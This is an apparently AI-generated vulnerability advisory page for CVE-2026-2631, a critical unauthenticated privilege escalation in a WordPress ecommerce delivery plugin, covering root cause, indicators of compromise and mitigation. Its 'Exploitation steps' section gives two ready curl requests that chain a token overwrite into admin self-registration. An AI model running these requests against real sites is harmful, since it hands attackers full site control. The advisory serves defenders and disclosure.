CVE-2026-2631
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2631 is an unauthenticated privilege escalation vulnerability in the Datalogics Ecommerce Delivery WordPress plugin affecting all versions before 2.6.60. The flaw allows any remote, unauthenticated attacker to gain full administrative control over a WordPress installation by abusing an exposed REST endpoint. It was publicly disclosed on February 18, 2026, and assigned a CVSS v3.1 base score of 9.8 (Critical) (WPScan, NVD). The vulnerability was discovered and reported by researcher Khaled Alenazi (Nxploited) (WPScan).

Technical details

The root cause is improper privilege management (CWE-269) in the plugin's REST API implementation. The plugin exposes an unauthenticated REST endpoint at /index.php?rest_route=/datalogics-0/v1/update-token that allows any remote user to set the datalogics_token WordPress option to an arbitrary value without any authentication or authorization check. This attacker-controlled token is then accepted as valid authentication by a second, nominally protected endpoint (/datalogics-0/v1/update-settings), which permits arbitrary update_option() calls. By chaining these two requests, an attacker can enable open user registration (users_can_register=1) and set the default role to administrator, effectively granting themselves full admin access upon self-registration (WPScan).

Impact

Successful exploitation grants an unauthenticated remote attacker complete administrative control of the affected WordPress site without any user interaction. With administrator-level access, an attacker can modify site content, install malicious plugins or themes, access sensitive user data, exfiltrate credentials, and potentially pivot to compromise the underlying server infrastructure. The integrity, confidentiality, and availability of the entire WordPress installation are fully compromised (WPScan, NVD).

Exploitability

A public proof-of-concept (PoC) exploit was published by the original researcher Khaled Alenazi on GitHub (GitHub PoC) and was noted in community reporting by late March 2026. A mass scanner tool targeting this CVE was also published (Mass Scanner), and the exploit was indexed on Sploitus (PacketStorm:218136), indicating active weaponization. The EPSS score is approximately 0.209%, and there is no current listing in the CISA KEV catalog. No specific threat actor attribution has been reported, but the availability of mass-scanning tools suggests opportunistic exploitation is likely (Feedly, WPScan).

Exploitation steps

  1. Reconnaissance: Use tools like Shodan, Censys, or the published mass scanner (Mass Scanner) to identify WordPress sites running the Datalogics Ecommerce Delivery plugin version prior to 2.6.60.
  2. Set arbitrary token: Send an unauthenticated POST request to the exposed REST endpoint to overwrite the datalogics_token option with an attacker-controlled value:
curl -X POST "http://example.com/index.php?rest_route=/datalogics-0/v1/update-token" \
  -H "Content-Type: application/json" \
  -d '{"token":"NXPOC-2026"}'
  1. Perform privilege escalation: Use the attacker-set token to authenticate to the protected settings endpoint and enable open registration with Administrator as the default role:
curl -X POST "http://example.com/index.php?rest_route=/datalogics-0/v1/update-settings" \
  -H "Content-Type: application/json" \
  -d '{ "token":"NXPOC-2026", "settings":{ "users_can_register":"1", "default_role":"administrator" } }'
  1. Register an admin account: Navigate to the WordPress registration page (/wp-login.php?action=register) and create a new account, which will automatically be assigned the Administrator role.
  2. Achieve full site compromise: Log in with the newly created administrator account to install malicious plugins, exfiltrate data, or establish persistent backdoor access (WPScan, GitHub PoC).

Indicators of compromise

  • Network: Unexpected POST requests to /index.php?rest_route=/datalogics-0/v1/update-token and /index.php?rest_route=/datalogics-0/v1/update-settings from external IP addresses in web server access logs.
  • Logs: WordPress debug or access logs showing REST API calls to datalogics-0/v1/ endpoints from unauthenticated sources; sudden changes to users_can_register and default_role options in the WordPress options table (wp_options).
  • WordPress Database: The datalogics_token option in wp_options set to an unexpected or unknown value; users_can_register set to 1 and default_role set to administrator without administrator action.
  • User Accounts: Newly created WordPress administrator accounts with no corresponding legitimate business activity, especially accounts registered shortly after suspicious REST API calls.
  • File System: Presence of newly installed plugins or modified theme files by an unrecognized administrator account following the suspicious REST API activity.

Mitigation and workarounds

The vendor has released a patched version: Datalogics Ecommerce Delivery 2.6.60. All site operators should upgrade to this version immediately (WPScan). If immediate patching is not possible, consider temporarily deactivating the plugin, restricting access to the REST API endpoints via a web application firewall (WAF) or network-level controls, and auditing the WordPress wp_options table for unexpected changes to users_can_register, default_role, and datalogics_token. Additionally, review all administrator accounts for unauthorized additions and revoke any suspicious accounts.

Community reactions

Wordfence included CVE-2026-2631 in their weekly WordPress vulnerability report for the week of March 9–15, 2026, highlighting it as a critical unauthenticated privilege escalation issue (Wordfence). The vulnerability was discussed on social media platforms including Mastodon and Bluesky shortly after disclosure. BrinzTech published an alert specifically noting the availability of a public PoC (BrinzTech), and the exploit was featured in a PoC weekly roundup for the week of March 23, 2026.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management